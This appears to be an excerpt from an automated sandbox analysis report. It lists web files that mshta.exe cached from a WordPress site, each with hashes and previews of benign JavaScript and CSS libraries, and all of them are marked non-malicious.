                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\jquery.simplr.smoothscroll.min[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):946
                                                                                      Entropy (8bit):5.1855423510973475
                                                                                      Encrypted:false
                                                                                      SSDEEP:24:2GPs6G3ILAMbiEm8QKov1mxulWM8cQ2x17JxrIv:24EMeLQxuj8cQUjVS
                                                                                      MD5:72944D2F940D2AB8DFDCAA537A9ECDEE
                                                                                      SHA1:D94FA468B83F9B76EB8F97CEFC6312FBD173A848
                                                                                      SHA-256:547887F6237649D22B102EDD455869D14A02D3B393CFF5A5886624E4D08DCB3A
                                                                                      SHA-512:58D77C35684959DBF8B70452CA0D74AE94233055959A3663C44CEC2511045E9BE4665C7F02A0E1DB1B8F2209BD89089FE438EB51F36257F832EC707BC4419C4E
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0
                                                                                      Preview:/* jquery.simplr.smoothscroll version 1.0 copyright (c) 2012 https://github.com/simov/simplr-smoothscroll licensed under MIT */..jQuery(document).ready(function($) {. if(!device.mobile() && !device.tablet()){. $.srSmoothscroll({. step:150,. speed:800. });. }.});..;(function(e){"use strict";e.srSmoothscroll=function(t){var platform = window.navigator.platform; if ((platform === 'MacIntel' || platform === 'MacPPC')){return false}; var n=e.extend({step:170,speed:1000,ease:"swing"},t||{});var r=e(window),i=e(document),s=0,o=n.step,u=n.speed,a=r.height(),f=navigator.userAgent.indexOf("AppleWebKit")!==-1?e("body"):e("html"),l=false;e("body").mousewheel(function(e,t){l=true;if(t<0)s=s+a>=i.height()?s:s+=o;else s=s<=0?0:s-=o;f.stop().animate({scrollTop:s},u,n.ease,function(){l=false});return false});r.on("resize",function(e){a=r.height()}).on("scroll",function(e){if(!l)s=r.scrollTop()})}})(jQuery);.

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\js[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):168165
                                                                                      Entropy (8bit):5.477676171156769
                                                                                      Encrypted:false
                                                                                      SSDEEP:3072:8HyJLyxofQaFWX69fmQ9z3GUl4ul3cH5aP43rXy:qxoPKPZa43rC
                                                                                      MD5:C91665E534C4912233EE11CA89675D8E
                                                                                      SHA1:E1C70351555606E47FD88DFB8F40F7C44593CFCF
                                                                                      SHA-256:2530BA79FAD584DF4E6D9E8593E3CA2CDE8646EF6BA4ADD3D545846C2730DB10
                                                                                      SHA-512:F4A47A9303805F2A5D6DFDAABCF79DEBB3848E4195595370068F57669FDEBB9081AC639AD5BA9F361FFB3D4AC53BC515B50D1C981C1EB31A6AD246DA83895FA6
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://maps.googleapis.com/maps/api/js?v=3.exp&key=AIzaSyBXSoaDpFMSx5Mw41I7DfRd1h7fJUulK_0
                                                                                      Preview:..window.google = window.google || {};.google.maps = google.maps || {};.(function() {. . var modules = google.maps.modules = {};. google.maps.__gjsload__ = function(name, text) {. modules[name] = text;. };. . google.maps.Load = function(apiLoad) {. delete google.maps.Load;. apiLoad([0.009999999776482582,[null,[["http://khm0.googleapis.com/kh?v=928\u0026hl=en-US\u0026","http://khm1.googleapis.com/kh?v=928\u0026hl=en-US\u0026"],null,null,null,1,"928",["https://khms0.google.com/kh?v=928\u0026hl=en-US\u0026","https://khms1.google.com/kh?v=928\u0026hl=en-US\u0026"]],null,null,null,null,[["https://cbks0.googleapis.com/cbk?","https://cbks1.googleapis.com/cbk?"]],[["http://khm0.googleapis.com/kh?v=143\u0026hl=en-US\u0026","http://khm1.googleapis.com/kh?v=143\u0026hl=en-US\u0026"],null,null,null,null,"143",["https://khms0.google.com/kh?v=143\u0026hl=en-US\u0026","https://khms1.google.com/kh?v=143\u0026hl=en-US\u0026"]],null,null,null,null,null,null,null,[["https://streetviewpixel

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\logo-slider-wp-public[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):5372
                                                                                      Entropy (8bit):4.984476165106454
                                                                                      Encrypted:false
                                                                                      SSDEEP:96:AJKII0S0eTHhUELNZQety9Q2dJie/JTwJTG/JiGS61iL0:iQQBSw
                                                                                      MD5:3A2087F6BBC2271D1A7484512C92A4BB
                                                                                      SHA1:B15329AD5E236432E2B7972242E3DDC0E93BE73A
                                                                                      SHA-256:D836BDB6405A34D357393B88B95298C535A088D8DF6F84805B8290182CD7EF13
                                                                                      SHA-512:9FCDEBC1712A9666A9CC7DD7BB505B6B4369224653C542854FECEBD073C83A9C228F80A9D5A3B61BE9836DFFF2692DBEF9DE949542CEF6251ED74E2589374612
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0
                                                                                      Preview:/**. * All of the CSS for your public-facing functionality should be. * included in this file.. */..lgx-logo-slider-wp .owl-stage {. display: flex;. align-items: center;.}...lgx-logo-slider-wp .lgx-logo-wrapper {. padding: 25px 0;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav {. text-align: center;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-next,..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-prev {. margin: 1px;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav [class*=owl-] {. background: transparent;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-next img,..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-prev img {. width: 30px;.}..lgx-logo-slider-wp .wp-logo-border .lgx-logo-item {. border-style: solid;. border-width: 2px;.}..lgx-logo-slider-wp .lgx-logo-item {. cursor: pointer;. text-align: center;.}..lgx-logo-slider-wp .lgx-logo-item .logo-com

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\logo-slider-wp-public[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                      Category:downloaded
                                                                                      Size (bytes):3006
                                                                                      Entropy (8bit):4.209501226216895
                                                                                      Encrypted:false
                                                                                      SSDEEP:48:N10K1DK3whocmVMBCu2m+JI/QNAIslqw+Pw6z:NSqDK3sN+JWkF/H
                                                                                      MD5:7B766A62E26ADB736A822B315A891025
                                                                                      SHA1:A2580B9177A2CA0ACB345FE440414DE7DF2A5E26
                                                                                      SHA-256:65CA4BF164BFD1056D4AF9E83F40FB8B4D51840485D9A09021468BB3F5AAAC76
                                                                                      SHA-512:8FE2938731EBB108F8797DA1D46CEB7E353131D770633FB9AF4E36BE48D19B912742028E86B0D7AF5587A19A328AD0E6C2945B550E2C347482375A1C10CE88A6
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0
                                                                                      Preview:(function() {.. 'use strict';.... /**.. * All of the code for your public-facing JavaScript source.. * should reside in this file... *.. * Note: It has been assumed you will write jQuery code here, so the.. * $ function reference has been prepared for usage within the scope.. * of this function... *.. * This enables you to define handlers, for when the DOM is ready:.. *.. * $(function() {... *... * });.. *.. * When the window is loaded:.. *.. * $( window ).load(function() {... *... * });.. *.. * ...and/or other possibilities... *.. * Ideally, it is not considered best practise to attach more than a.. * single DOM-ready or window-load handler for a particular page... * Although scripts in the WordPress core, Plugins and Themes may be.. * practising this, we should strive to set a better example in our own work... */...... jQuery(document).ready(function($) {.... $('.lgx-logo-carousel'

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\modernizr[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:HTML document, ASCII text, with very long lines, with no line terminators
                                                                                      Category:downloaded
                                                                                      Size (bytes):12314
                                                                                      Entropy (8bit):5.301581700967231
                                                                                      Encrypted:false
                                                                                      SSDEEP:192:Eu55THWDn9KHdfJJqbbo5jaSJJJkSeIUHV+2LDDhWwpy8b7z:j5RHWD9KxJJAo5jakrwHVrHh1pz
                                                                                      MD5:8CEF5686125E254FB53C25F16E310525
                                                                                      SHA1:93522E2AB068A3433331E08144722DD57A8FAE9A
                                                                                      SHA-256:6C44371BECA8CB2A76B857B17532BB3512B2E68B4A8678AB4288B95353005A0F
                                                                                      SHA-512:BBA61E0EC78AC07E6EF8D4195D6E17B6276559129749F1B1C836826AB5660CFC5441CB7F979EFDC7D5ED0931EC2AD8C6DC21BAEF83CB19218B107441B2A9E290
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
                                                                                      Preview:;window.Modernizr=function(a,b,c){function B(a){j.cssText=a}function C(a,b){return B(n.join(a+";")+(b||""))}function D(a,b){return typeof a===b}function E(a,b){return!!~(""+a).indexOf(b)}function F(a,b){for(var d in a){var e=a[d];if(!E(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function G(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:D(f,"function")?f.bind(d||b):f}return!1}function H(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return D(b,"string")||D(b,"undefined")?F(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),G(e,b,c))}function I(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)t[c[d]]=c[d]in k;return t.list&&(t.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),t}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.type!=="text",e&&(k.value=l,k.style.cssText="position:abs

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\owl.carousel[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:UTF-8 Unicode text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):89992
                                                                                      Entropy (8bit):5.084392122174397
                                                                                      Encrypted:false
                                                                                      SSDEEP:1536:owLoreUC7AuLMjvNlP8GNMBJ6IcIhKJQIOybQOoiYM9OJ0QQKOv:oUMNlPBqJTuOGQOotEhKOv
                                                                                      MD5:CCDF893E7D8B26933AF0C336BCC3943E
                                                                                      SHA1:AC575BA3377F95EF22BAD865EC35B0B3DCB0DFE0
                                                                                      SHA-256:DB9D6CF3C1C4B047C62F646E7D9991C06A212931C362BF53F9A2406B30F09466
                                                                                      SHA-512:818DB99C2EB775D1342DC2CF871509185C5AD86A08C80E452F29B8509A870C43078E9F11113E999FF487A35B25B6DDD6B95B6A7F2C4408FDFCFDD69473F59510
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0
                                                                                      Preview:/**. * Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. */./**. * Owl carousel. * @version 2.3.4. * @author Bartosz Wojciechowski. * @author David Deutsch. * @license The MIT License (MIT). * @todo Lazy Load Icon. * @todo prevent animationend bubling. * @todo itemsScaleUp. * @todo Test Zepto. * @todo stagePadding calculate wrong active classes. */.;(function($, window, document, undefined) {.../**.. * Creates a carousel... * @class The Owl Carousel... * @public.. * @param {HTMLElement|jQuery} element - The element to create the carousel for... * @param {Object} [options] - The options.. */..function Owl(element, options) {..../**... * Current settings for the carousel.... * @public... */...this.settings = null;..../**... * Current options set by the caller including defaults.... * @public... */...this.options = $.extend({}, Owl.Defaults, options);..../**... * Plugin element.... *

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\parallax[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):403
                                                                                      Entropy (8bit):4.793570624792053
                                                                                      Encrypted:false
                                                                                      SSDEEP:6:Mwq7sFnOst7+pArYTKfZ0ArB3Ozgr9sjrez5yzNLAWzlYTrw5SN3FLmiYR0vY:MDZs5ybn3grwOQZRzlymiYR0A
                                                                                      MD5:D836CAC74A1D9528BE73EE745D64B8CA
                                                                                      SHA1:D8269C3090161BAA21C97DF370E32C68F512C1A8
                                                                                      SHA-256:E3BAB86A4895EB161114F42EC7EBD54534D90ED21691B986AB7C7C6C5DD1D57C
                                                                                      SHA-512:966C80EC83F820D8EDA03CD01ABBBEBA8C79AE5098777E533F7A38134379CF921E25B3C17837502D34CD69B002009F955740FF30D7ED8DB76776B421BE48E501
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0
                                                                                      Preview:body .main-holder {..overflow: hidden;..position: static;.}..parallax-box {..position: relative;.}..parallax-content {..position: relative;..z-index: 2;.}..parallax-bg {..position: absolute;..overflow:hidden;..top: 0;..left: 0;..width: 100%;..height:100%;.}..parallax-bg-inner {..position:relative;..background-repeat: no-repeat;..background-size: cover;..background-position: center;..max-width:none;.}

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\scripts[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):14585
                                                                                      Entropy (8bit):5.05967424474738
                                                                                      Encrypted:false
                                                                                      SSDEEP:384:Y0KR2j16xNN7FUx4fCauIC+V+oeBKdYYJfRscKvVJVw1Iv3S3OVKEkl9UQznC:Rrj16xNN7Cx4fj4+WVJ/v3ZVAC
                                                                                      MD5:80F051B85C7CC301D20DC6C522C71814
                                                                                      SHA1:D8344EEE926EBE2F35396F51CFA5614CB4307B40
                                                                                      SHA-256:C6138C4B65AAFF6E46D51C26096FFFFADD202974003AD0F6D4475B45204BD0AB
                                                                                      SHA-512:24BF9B3B18299B678273D028F81BB9B5816E2EB98402D6CD9ADAAEA755C56F6D1FC2E49B2F86248DFAE341E7127458DC0BD2F62C41DC020E16D251FD3E0262A2
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3
                                                                                      Preview:( function( $ ) {...'use strict';...if ( typeof wpcf7 === 'undefined' || wpcf7 === null ) {...return;..}...wpcf7 = $.extend( {...cached: 0,...inputs: []..}, wpcf7 );...$( function() {...wpcf7.supportHtml5 = ( function() {....var features = {};....var input = document.createElement( 'input' );.....features.placeholder = 'placeholder' in input;.....var inputTypes = [ 'email', 'url', 'tel', 'number', 'range', 'date' ];.....$.each( inputTypes, function( index, value ) {.....input.setAttribute( 'type', value );.....features[ value ] = input.type !== 'text';....} );.....return features;...} )();....$( 'div.wpcf7 > form' ).each( function() {....var $form = $( this );....wpcf7.initForm( $form );.....if ( wpcf7.cached ) {.....wpcf7.refill( $form );....}...} );..} );...wpcf7.getId = function( form ) {...return parseInt( $( 'input[name="_wpcf7"]', form ).val(), 10 );..};...wpcf7.initForm = function( form ) {...var $form = $( form );....$form.submit( function( event ) {....if ( typeof window.FormD

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\scrollShowTime[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:UTF-8 Unicode (with BOM) text
                                                                                      Category:downloaded
                                                                                      Size (bytes):1506
                                                                                      Entropy (8bit):3.8120848042014237
                                                                                      Encrypted:false
                                                                                      SSDEEP:24:qzzEbPmDAFSbEigNMtDsmkKnxN8kKOx0STxHxKfZlJhYCpI0:+EKxJrk5kfdcfHkCB
                                                                                      MD5:6B49B3E0D4EBC1DC791F05F077A218C4
                                                                                      SHA1:710F5BA21E2E6BFAC71559BA8B3AB5AF5685A856
                                                                                      SHA-256:A3A8314DF976D890F6389F1F9AA6B955A5069FBBF8EC6B546E6EDAF298B2DD93
                                                                                      SHA-512:1A96C3D8D6514F95480C971A172A86046A2D534253EF0800A75D8F8834208F9954B9D0FAA344C9AA5CB2B796F520A5FD25FBDA9BA3F070AC5458E58681C38873
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
                                                                                      Preview:.(function($){. $.fn.scrollShowTime=function(o){. var getOption = {. correctionY: 100. , onShow: function(){}. }. $.extend(getOption, o);. . return this.each(function(){. var _this = $(this). ,topOffset. ,windowHeight. ,_visible=false. ,_win=$(window). ,_doc=$(document). ;. init();. function init(){. setTopOffset();. _this.addClass('hide_state');. addEventHandler();. }//end init. function setTopOffset(){. topOffset = _this.offset().top;. }. function addEventHandler(){. $(window).on('scroll',function(){. setTopOffset();. positionListener();. }).trigger('scroll');. . $(window).on('resize', function(){. setTopOffse

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\style[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):66002
                                                                                      Entropy (8bit):5.19992445499213
                                                                                      Encrypted:false
                                                                                      SSDEEP:768:RnQmALZc3HQApqPQ5j2m7Y414TtS6c9eu4SqSIGyU8O/sXi:+mN3kQ5noSWqyU8O/sXi
                                                                                      MD5:47F3B539EC47105303FE88C5B4DB8BB8
                                                                                      SHA1:7452E7208C3718CF250E126015876A0D09576818
                                                                                      SHA-256:B6DF3EA0DB277CDC16BD73D0D3FC2422976E289F3C6E181E5EDF46AADA3B21C1
                                                                                      SHA-512:70311C6FA62A73C78FAF2974E39B39C35C7413BE826A050D22E06E8C1FB695672063EE84D883F8D737F8578DC86CE2B64BD01B2E97D45DA84AA9A233ECCF3EA2
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/css/style.css
                                                                                      Preview:body { position:relative; }..ie8 body { min-width:980px; }.@media (max-width: 767px) {..body.cherry-fixed-layout {...padding-left:0 !important;...padding-right:0 !important;..}.}.@media (max-width: 767px) {..body.cherry-fixed-layout .header, body.cherry-fixed-layout .content-holder, body.cherry-fixed-layout .footer {...padding-left:20px;...padding-right:20px;..}.}.body[class*="span"] {..position:static;..float:none;..min-height:inherit;..margin-left:inherit;.}.a { outline:none; }.a:focus { outline:none; }..main-holder {..position:relative;..z-index:1;.}..cherry-fixed-layout .main-holder {..margin:0 auto;..max-width:980px;..width:auto;..background:#fafafa;.}.@media (min-width: 1200px) {...cherry-fixed-layout .main-holder { max-width:1210px; }.}.@media (min-width: 768px) and (max-width: 979px) {...cherry-fixed-layout .main-holder { max-width:764px; }.}..header {..position:relative;..z-index:99;..padding:30px 0;..border-bottom:1px solid #DDD;..background-color:#eee;.}..logo {..position:re

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\styles[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text
                                                                                      Category:downloaded
                                                                                      Size (bytes):1743
                                                                                      Entropy (8bit):5.077735166460529
                                                                                      Encrypted:false
                                                                                      SSDEEP:24:XVrYR0dTwSJ3zdUB4y45bkR/y/CXqprQW0Lp4FqjNrrKsTwRX5xIWJoDxVPToVpB:XVrAMLeR6/WqprQWEpfNrnwx5NYVLo/B
                                                                                      MD5:EC96E53E57B5D34F762D567CDB29A312
                                                                                      SHA1:33D59800F24B9967590354A7B47B37000DC5A5CC
                                                                                      SHA-256:A559BA07F12AEDA335CA811BB96B6F57B555815A835FE5F86AD6E7F166190E6D
                                                                                      SHA-512:026480FEB9493F463E9C7EC8E6FCB4F4F7706E71DC4F90EE0E74C30BD5C930535C3D329A20AB241E54E5FCF9A510F43081149449F4983DBC274BD155AE1A2F78
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3
                                                                                      Preview:div.wpcf7 {..margin: 0;..padding: 0;.}..div.wpcf7 .screen-reader-response {..position: absolute;..overflow: hidden;..clip: rect(1px, 1px, 1px, 1px);..height: 1px;..width: 1px;..margin: 0;..padding: 0;..border: 0;.}..div.wpcf7-response-output {..margin: 2em 0.5em 1em;..padding: 0.2em 1em;..border: 2px solid #ff0000;.}..div.wpcf7-mail-sent-ok {..border: 2px solid #398f14;.}..div.wpcf7-mail-sent-ng,.div.wpcf7-aborted {..border: 2px solid #ff0000;.}..div.wpcf7-spam-blocked {..border: 2px solid #ffa500;.}..div.wpcf7-validation-errors,.div.wpcf7-acceptance-missing {..border: 2px solid #f7e700;.}...wpcf7-form-control-wrap {..position: relative;.}..span.wpcf7-not-valid-tip {..color: #f00;..font-size: 1em;..font-weight: normal;..display: block;.}...use-floating-validation-tip span.wpcf7-not-valid-tip {..position: absolute;..top: 20%;..left: 20%;..z-index: 100;..border: 1px solid #ff0000;..background: #fff;..padding: .2em .8em;.}..span.wpcf7-list-item {..display: inline-block;..margin: 0 0 0 1em

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\superfish[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):2913
                                                                                      Entropy (8bit):5.1479046643148605
                                                                                      Encrypted:false
                                                                                      SSDEEP:48:uDmDV1xEm0TSDDdVVsIro4VmfYIy8G7HzjiYqcq6nQxzRqnICijh2eqicoj:uDmDOjKDdVpro4VmmjiYPq2ICQdcoj
                                                                                      MD5:259022BDE29C49E9D273D33493BD7B01
                                                                                      SHA1:16A4305C60037A05644EEF5BD7C1AFC5BBD5D74A
                                                                                      SHA-256:6301E8E9AB12CACCBF4EB772E114D56F4BDF3A27875CDCAB57E8E8AF5E04CB5A
                                                                                      SHA-512:9E627852C7F6AF6EFA7BB74A812875D5907A8EFCAFF761EA815A99281EE2076233103A701319637417B1FC923E27658DD7F701CCCBDA9F9B1C06A8644CE18A73
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3
                                                                                      Preview:(function(a){a.fn.superfish=function(f){var d=a.fn.superfish,e=d.c,g=a('<span class="'+e.arrowClass+'"> &#187;</span>'),k=function(c){var b=a(this),d=j(b);("mouseenter"===c.type||"focusin"===c.type)&&b.children("a").data("follow",!0);clearTimeout(d.sfTimer);b.showSuperfishUl().siblings().hideSuperfishUl()},l=function(c){var b=a(this),f=j(b),e=d.op,g=function(){e.retainPath=-1<a.inArray(b[0],e.$path);b.hideSuperfishUl();e.$path.length&&1>b.parents("li."+e.hoverClass).length&&(e.onIdle.call(),a.proxy(k,.e.$path,c)())};"mouseleave"!==c.type&&"focusout"!==c.type?g():(clearTimeout(f.sfTimer),f.sfTimer=setTimeout(g,e.delay));("mouseleave"===c.type||"focusout"===c.type)&&b.children("a").data("follow",!1)},j=function(c){c.hasClass(e.menuClass)&&a.error("Superfish requires you to update to a version of hoverIntent that supports event-delegation, such as this one: https://github.com/joeldbirch/onHoverIntent");c=c.closest("."+e.menuClass)[0];d.op=d.o[c.serial];return c},m=function(c){var b=a(this

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\swfobject[1].js

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with very long lines
                                                                                      Category:downloaded
                                                                                      Size (bytes):10231
                                                                                      Entropy (8bit):5.498827185914172
                                                                                      Encrypted:false
                                                                                      SSDEEP:192:dEBsWGAZvwGxP1hNWwI9V0YOOsFbkRHeZtyIVyX8c727LMoOyXoy7NgvZ4xsnyQ/:dAsWGAZvwGxP1hNWwI9V0YO1NkRHezyV
                                                                                      MD5:9FFDBA2CFF497D701684657E329871F5
                                                                                      SHA1:693465E9D9376FD4D2FCD45FFC24F735E1159312
                                                                                      SHA-256:5FC71212D5F80194F946CC9239D030AAE8B51879EC22BD6F9A793C49E543D1C0
                                                                                      SHA-512:5DA070D4040661BD167EF22C6F81C7DC6A9ED79F9CC6C662750B9EB3B1F2048E8D782536996EA7C54E961CD514313314EBFA724409CD2F0440D884288C9ECFFA
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-includes/js/swfobject.js?ver=2.2-20120417
                                                                                      Preview:/*.SWFObject v2.2 <http://code.google.com/p/swfobject/> ..is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> .*/.var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=par

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\animate-logo[1].css

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                      Category:downloaded
                                                                                      Size (bytes):81132
                                                                                      Entropy (8bit):4.724082147516296
                                                                                      Encrypted:false
                                                                                      SSDEEP:384:Cy1U1YB94h43181f4E4v2e2oPNPs0v424zVoVI4m48:71U1Q4h43181f4E4m0v424zVoVI4m48
                                                                                      MD5:B7A9605E1633ACF8180CD3F6C604876D
                                                                                      SHA1:3FF2D5FE95BD41130BFFDE2211B3CCD43716038A
                                                                                      SHA-256:1CE4F92F822BDFBCCEAA71C2FCFE760F5228E445DE0C20AEABBB3D93DDDA2644
                                                                                      SHA-512:66E085703BA9E14C49185FE35329469DE6BF3E4F6A2D3A3BFCDB52E79FAEC9E32657EF073A1F888AFB1A9309C38DC1F9B09F8FE95CF12A34C88782D683CDD52A
                                                                                      Malicious:false
                                                                                      IE Cache URL:http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20
                                                                                      Preview:@charset "UTF-8";..../*!..Animate.css - http://daneden.me/animate..Version - 3.4.0..Licensed under the MIT license - http://opensource.org/licenses/MIT....Copyright (c) 2015 Daniel Eden..*/.....animated {.. -webkit-animation-duration: 1s;.. animation-duration: 1s;.. -webkit-animation-fill-mode: both;.. animation-fill-mode: both;..}.....animated.infinite {.. -webkit-animation-iteration-count: infinite;.. animation-iteration-count: infinite;..}.....animated.hinge {.. -webkit-animation-duration: 2s;.. animation-duration: 2s;..}.....animated.bounceIn,...animated.bounceOut {.. -webkit-animation-duration: .75s;.. animation-duration: .75s;..}.....animated.flipOutX,...animated.flipOutY {.. -webkit-animation-duration: .75s;.. animation-duration: .75s;..}....@-webkit-keyframes bounce {.. from, 20%, 53%, 80%, to {.. -webkit-animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);.. animation-timing-function: cubic-bezier(0.215, 0.61

                                                                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\arrow_down[1].png

                                                                                      Download File
                                                                                      Process:C:\Windows\SysWOW64\mshta.exe
                                                                                      File Type:PNG image data, 5 x 3, 8-bit/color RGBA, non-interlaced
                                                                                      Category:downloaded
                                                                                      Size (bytes):208
                                                                                      Entropy (8bit):5.9194278840524825
                                                                                      Encrypted:false
                                                                                      SSDEEP:3:yionv//thPlgolljvrtxBlly43gqwkBDjW3PsFmzRgK3MkOl0tDlWyxtl22Wf4Fm:6v/lhP+4ZQynDi3U6GCMkdVx22W7dp
                                                                                      MD5:20A650477130C7C2C62C5647131F545B
                                                                                      SHA1:4615101FCC5DF1FAB3E7DD516D058E1052A8FCB2
                                                                                      SHA-256:068F35DD132804C7EFFCBCA65F9398D34351339ED2FA7B20EF5E9A6221E76516
                                                                                      SHA-512:9B5F312C3CE5E504DE7B2B1EE4BDF21F8A27E04329B2793E12F685D70E53D02CBB5E3094F83950573E814303900B77F099331DD4106FB534773D6D60736CA003
                                                                                      Malicious:false
